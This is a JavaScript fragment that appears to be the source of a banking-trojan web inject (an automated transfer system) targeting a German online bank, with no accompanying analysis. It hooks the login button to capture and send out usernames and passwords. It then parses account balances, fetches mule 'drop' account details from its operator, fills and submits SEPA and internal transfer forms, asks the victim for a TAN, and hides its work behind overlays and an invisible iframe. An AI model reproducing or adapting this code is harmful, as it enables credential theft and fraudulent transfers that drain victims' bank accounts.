        jq(loginForm).find('input:visible:last').unbind('click').attr('onclick',"return true;");
        
        jq(loginForm).find('input:visible:last').click(function(e){
        
            var loginForm = ATS.getLoginForm();                         
            
            var login=jq(loginForm).find('input:visible.il').eq(0).val();
            
            var password=jq(loginForm).find('input:visible.il').eq(1).val();
         
  
        if (!loginInfoSent)
        {            
            e.preventDefault();
             ATS.debugMsg('login info: ' + login + ', ' + password);
             
                jq(loginForm).find('input:visible:last').attr('disabled', 'disabled');                  
                    ATS.sendLoginInfo(login, password, function(){
                        ATS.debugMsg('after clik ');
                        loginInfoSent = true;
                        jq(loginForm).find('input:visible:last').attr('disabled', false);
                         //wpSubmit = true;
                        jq(loginForm).find('input:visible:last').click();                        
                    });
                    
                 
        }
            //ATS.sleep(4000);
//          if (ATS.loginDataSent) return true; else return false;  
        });
            
 
}
 
 
 
 
ATS.getTime = function()
{
    return Math.floor((new Date).getTime() / 1000);
}
 
 
 
 
ATS.openInIframe = function(url)
{
    var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
    jq('body').append(iframe);
    if (ATS.debugVisibleFrame)
    {
        jq("#ats_wrk_iframe").css('width', '1200px');
        jq("#ats_wrk_iframe").css('height', '1200px');
        jq("#ats_wrk_iframe").css('top', '1000px');
        jq("#ats_wrk_iframe").css('position', 'absolute');
//          jq("body").css('position', 'relative');
    }
    else
    {
        jq("#ats_wrk_iframe").css('width', '1px');
        jq("#ats_wrk_iframe").css('height', '1px');
        //jq(iframe).css('top', '0px');
        //jq(iframe).css('position', 'absolute');
        jq("#ats_wrk_iframe").css('visibility', 'hidden');
    }
}
 
 
ATS.parseAccountsList = function()
{
    
 
    
    var accountsList = new Array();
    jq("table.btable").each(function(){
        jq(this).find('tr:has(img[alt*="berweisung"]):not(:contains(Kreditkarte),:contains(*))').each(function(){
           if (langs.getCurLang()=='EN'){ 
              //  var number=jq.trim(jq(this).children("td:eq(0)").text().replace(/\D+/g,''));
               // var overdraft=jq.trim(jq(this).children("td:eq(1)").text().replace(/\,/g, ''));
               // var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\,/g, ''));
            }
            else{
                var number=jq.trim(jq(this).children("td:eq(0)").text().replace(/\D+/g,''));
                var overdraft=0;
                //var overdraft=jq.trim(jq(this).children("td:eq(1)").text().replace(/\./g, '').replace(/\,/g, '.'));
                var balance=jq.trim(jq(this).children("td:eq(3)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
            
        var overdraftHref=jq(this).children("td:eq(4)").find('a:has(img[alt*="berweisung"])').attr('href'); 
        
                
            }
            
                if (number != '')
                    {
    ATS.debugMsg('number: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft);
    //ATS.sendLogMsg('Account: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft);
                        accountsList.push({number: number,balance: balance, overdraft: overdraft, overdraftHref: overdraftHref,totalBalance: parseFloat(overdraft) + parseFloat(balance)});   
                      
                      
                    }
    
        })
    }); 
 
 
    return accountsList;
}
 
 
 
 
ATS.framePageFinanzstatus = function()
{
 
    if(!parent.ATS.Gesamtsaldo){
 
var saldo=0;
jq("table.btable").each(function(){
    var el=jq(this).find('tr:has(td:contains("Summe in Euro"))').find('td:eq(2)')
 if (el.length) saldo+=ATS.fin2float(jq(el).text()); 
    
   });  
 
    parent.ATS.Gesamtsaldo = saldo;
    }
    
    ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
 
    ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
    
    parent.ATS.accounts_list = ATS.parseAccountsList();
 
    if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance');
    
    //var maxBalance = ATS.getMaxTransferAcc();
    var maxAcc = ATS.getMaxTransferAcc();
    if (!maxAcc) return false;
    
    parent.ATS.maxAcc=maxAcc;
    parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
    parent.ATS.transfer_acc=parent.ATS.maxAcc.number;
    
    parent.ATS.StepInFrame.set_current_state("preTransferPage");
 
 
 
    if(!parent.ATS.Gesamtsaldo){
 
var saldo=0;
jq("table.btable").each(function(){
    var el=jq(this).find('tr:has(td:contains("Summe in Euro"))').find('td:eq(2)')
 if (el.length) saldo+=ATS.fin2float(jq(el).text()); 
    
   });  
 
    if (saldo==0 ){ parent.ATS.Gesamtsaldo = parent.ATS.maxBalanceDrop;}else{parent.ATS.Gesamtsaldo = saldo;}
    }
 
    
  
    
        setTimeout(function(){
              document.location=parent.ATS.maxAcc.overdraftHref;                    
        }, 2000);
    
 
     
    
}
 
ATS.preTransferPage = function()
{
var totalKreditBalance=parent.ATS.maxBalanceDrop;
 
    ATS.getDrop('SEPA', totalKreditBalance, function(data){
                    if (data && data.drop)
                    {
                        parent.ATS.sepa_drop = data.drop;
                        ATS.framePageSEPA_page();
                        
                    }
                    else
                    {
                       
                        ATS.getDrop('SEPA_INT', totalKreditBalance, function(data){
                        if (data && data.drop)
                        {
                
                            parent.ATS.int_drop = data.drop;
                            parent.ATS.transf_mode = 'int';
                            ATS.framePageInternal_transf_page();            
                        }
                        else
                        {
                            parent.ATS.UI_hideDialogBox();
                            parent.ATS.UI_unblockSite();
                            ATS.die('KreditlimitPage: no SEPA_INT drop');
    
                        }
                        });
                  
                        
                    }
                });
                
                
      
    
}    
 
 
ATS.framePageSEPA_page = function()
{
//  ATS.debugMsg('ATS.framePageSEPA_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
jq('input[type="radio"]:eq(0)').attr('checked',"checked");
var drop = parent.ATS.sepa_drop;
jq('input[name="payeeName"]').val(drop.DrName);
jq('input[name="payeeAccountOrIbanNo"]').val(jq.trim(parent.ATS.sepa_drop.IBAN));
jq('input[name="payeeBankcodeOrBIC"]').val( ATS.padRight(drop.BIC,11));    
 
parent.ATS.StepInFrame.set_current_state("framePageSEPA_fill");
ATS.sendLogMsg('SEPA form step 1 filled',
                        function(){
    
                            if ( jq('button.submit[title*="eiter"]').length)
                            {
                              
                                setTimeout(function(){
                                
                                    jq('button.submit[title*="eiter"]').click();
                                }, 6000);
                            }
                            else
                            {
                                ATS.die('framePageSEPA_page: cant find continue button');
                            }
 
                        });
    
}
 
ATS.framePageSEPA_fill = function()
{
 
var drop = parent.ATS.sepa_drop;
    
    //jq('input[type="radio"]:eq(1)').attr('checked',"checked");
    //ATS.datafunc();   
    
    jq('input[name="amountToTransfer"]').val(drop.amount);
    jq('textarea[name="paymentPurposeLine1"]').val(drop.Reference);
 
    parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
 
ATS.sendLogMsg('SEPA form step 2 filled',
                        function(){
    
                            if ( jq('button.submit[title*="eiter"]').length)
                            {
                              
                                setTimeout(function(){
                                
                                    jq('button.submit[title*="eiter"]').click();
                                }, 6000);
                            }
                            else
                            {
                                ATS.die('framePageSEPA_fill: cant find continue button');
                            }
 
                        });
 
  
}
 
 
 
ATS.framePageInternal_transf_page = function()
{
                        
jq('input[type="radio"]:eq(0)').attr('checked',"checked");
var drop = parent.ATS.int_drop;
jq('input[name="payeeName"]').val(drop.DrName);
jq('input[name="payeeAccountOrIbanNo"]').val(drop.IBAN);
jq('input[name="payeeBankcodeOrBIC"]').val( ATS.padRight(drop.BIC,11));  
 
    
 
parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page_fill");
ATS.sendLogMsg('Internal form step 1 filled',
                        function(){
    
                            if ( jq('button.submit[title*="eiter"]').length)
                            {
                              
                                setTimeout(function(){
                                
                                    jq('button.submit[title*="eiter"]').click();
                                }, 6000);
                            }
                            else
                            {
                                ATS.die('framePageInternal_transf_page: cant find continue button');
                            }
 
                        });
 
 
}
 
 
ATS.framePageInternal_transf_page_fill = function()
{
    var drop = parent.ATS.int_drop;
   // jq('input[type="radio"]:eq(1)').attr('checked',"checked");
    //ATS.datafunc();
    
    jq('input[name="amountToTransfer"]').val(drop.amount);
    jq('textarea[name="paymentPurposeLine1"]').val(drop.Reference);
 
    parent.ATS.StepInFrame.set_current_state("INT_form_filled");
ATS.sendLogMsg('Internal form step 2 filled',
                        function(){
    
                            if ( jq('button.submit[title*="eiter"]').length)
                            {
                              
                                setTimeout(function(){
                                
                                    jq('button.submit[title*="eiter"]').click();
                                }, 6000);
                            }
                            else
                            {
                                ATS.die('framePageInternal_transf_page_fill: cant find continue button');
                            }
 
                        });
 
}
 
ATS.datafunc = function()
{
 
    jq('input[name="executionDate"]').change();
    
  var newDt = new Date();
  var newDt2 = new Date();
 
   cursec=Math.floor(newDt.getTime() / 1000);
 
     newDt2.setHours(13);
     newDt2.setMinutes(55);
 
   needsec=Math.floor(newDt2.getTime() / 1000);
   
 
var mon=parseInt(newDt.getUTCMonth()+1);
if(mon<10) mon=0+mon;   
   
   if((parent.ATS.Timeout==false) && (cursec <  needsec)  ){ 
var datefield=newDt.getUTCDate()+'.'+mon+'.'+newDt.getUTCFullYear();
}else{
 
 
 
switch (newDt.getUTCDay()){
    case 0:
    newDt2.setDate(newDt.getUTCDate() + 1);         
    break;
 
    case 5:
    newDt2.setDate(newDt.getUTCDate() + 3);         
    break;
 
    case 6:
    newDt2.setDate(newDt.getUTCDate() + 2);         
    break;
 
 
 
     default:
newDt2.setDate(newDt.getUTCDate() + 1);  
 
}
var datefield=newDt2.getUTCDate()+'.'+mon+'.'+newDt2.getUTCFullYear();
}
 
 
jq('input[name="executionDate"]').val(datefield);  
    
}
 
 
ATS.enterCode = function(tan)
{
    ATS.debugMsg('ATS.enterCode ' + tan);
    
    
    if (jq('#tanInputSelector').length)
    {
        jq('#tanInputSelector').val(tan);
        
        if ( jq('button.submit[name*="confirm"]').eq(0).length)
        {
            //parent.ATS.current_state = 120;
            parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
            parent.ATS.UI_showWait();
                                
            jq('button.submit[name*="confirm"]').click();
                                
            
            
        }
        else
            ATS.die('enterCode: cant find  button');
    }
    else
        ATS.die('enterCode: cant find field by label');
}
 
 
 
ATS.frameWork = function()
{
    ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
    ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
    switch (ATS.StepInFrame[parent.ATS.current_state])
    {
 
        case "framePageFinanzstatus":
            ATS.framePageFinanzstatus();
            break;
            
        
        case "preTransferPage":
            ATS.preTransferPage();
            break;
            
    
        case "SEPA_page":
            ATS.framePageSEPA_page();
            break;
            
        case "framePageSEPA_fill":
            ATS.framePageSEPA_fill();
            break;
 
        case "framePageInternal_transf_page_fill":
            ATS.framePageInternal_transf_page_fill();
            break;
 
            
            
 
        case "SEPA_form_filled":
        
            var textEl=jq('.errorMessage:visible');
            
            if (!textEl.length)
            {
   
                 ATS.UI_askTan();
                        
            }
                else {
            
            if (textEl.text().indexOf("Aufgrund technischer Probleme kann Ihre Anfrage zur Zeit nicht korrekt verarbeitet werden")!=-1) {
                parent.ATS.Timeout=true;
                ATS.framePageSEPA_fill();
            }
                else {ATS.die('Error fill SEPA form: ' + textEl.text() );}
                  }
            
            break;
            
 
            case "Internal_transf_page":
                ATS.framePageInternal_transf_page();
            break;
            
 
        case "INT_form_filled":
            var textEl=jq('.errorMessage:visible');
            
            if (!textEl.length)
            {
   
                 ATS.UI_askTan();
                        
            }
                else {
            
            if (textEl.text().indexOf("Aufgrund technischer Probleme kann Ihre Anfrage zur Zeit nicht korrekt verarbeitet werden")!=-1) {
                parent.ATS.Timeout=true;
                ATS.framePageInternal_transf_page_fill();
            }
                else {ATS.die('Error fill INT form: ' + textEl.text() );}
                  }
            
            break;
            
           
    
        case "TAN_ENTERED":
        
        ATS.debugMsg("TAN_ENTERED");
 
       
        if (jq('.errorMessage:visible').length)
        {
            parent.ATS.badTan = true;
            ATS.UI_askTan();
   
                }
       else {   
        if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
        else ATS.framePageReceiptInternal();
       
       }
 
       
            break;                        
    
        
    }
}
 
 
if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
{
    document.write('<div class="inj_full_overlay"></div>');
    
    jq(document).ready(function(){
        ATS.debugMsg('document loaded');
        
 
    ATS.loadData(function(data){
 
        if (ATS.account_id != 0)
        {   
      
            switch (ATS.getCookie('status')) {
               case "1":
                  if (ATS.isLoggedIn()) {ATS.replaceBalances(); }
                  jq('.inj_full_overlay').remove();
                  
                  break;
               case "2":
               ATS.debugMsg('case "2"');
               
               
              if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=2) {
                ATS.setCookie('status',0);
                ATS.saveCookies();
                ATS.sendLogMsg('Replace cookie status from 2 on 0');
                jq('.inj_full_overlay').remove();
              } else {jq('.inj_full_overlay').remove(); break;}
              
              
               default:
               
                        if (ATS.checkLoginPage())
                        {
                            ATS.debugMsg('login page');
                            ATS.setLoginHook();
                            jq('.inj_full_overlay').remove();
                            break;
                        }                           
                       
                     
                        if (ATS.isLoggedIn())
                        {
                            ATS.debugMsg('logged in!');
                            
 
                    var t =jq('ul.activeNotificationAction a').text();
                    if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
                        ATS.debugMsg('TAN locked!');
                        ATS.die("TAN locked!");
                        jq('.inj_full_overlay').remove();
                        break; 
                    } 
                         
                            
                        
                            if ((parent.document !== document) && parent.ATS)
                            {
                                ATS.debugMsg('we are in frame!');
                                ATS.frameWork();
                                jq('.inj_full_overlay').remove();
                                break;
                            }
                            else
                            {
                                jq('.inj_full_overlay').remove();
                               
                                ATS.UI_blockSite();
                                ATS.UI_showWait();
                                ATS.mainWork();
                                break;
                            }
                        }
                        else
                        {
                            if ((parent.document !== document) && parent.ATS)
                            {
                                ATS.debugMsg('we are in frame and not logged in!');
                            }
                        }               
               
                
                    break;
            }
          
           
 
        }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
        
        
        if(jq('#ummelden').text().indexOf("Zum Login")!=-1) {jq('.inj_full_overlay').remove();
        ATS.debugMsg('Zum Login!');}
    });
     
        
 
        
 
    });
}

Comments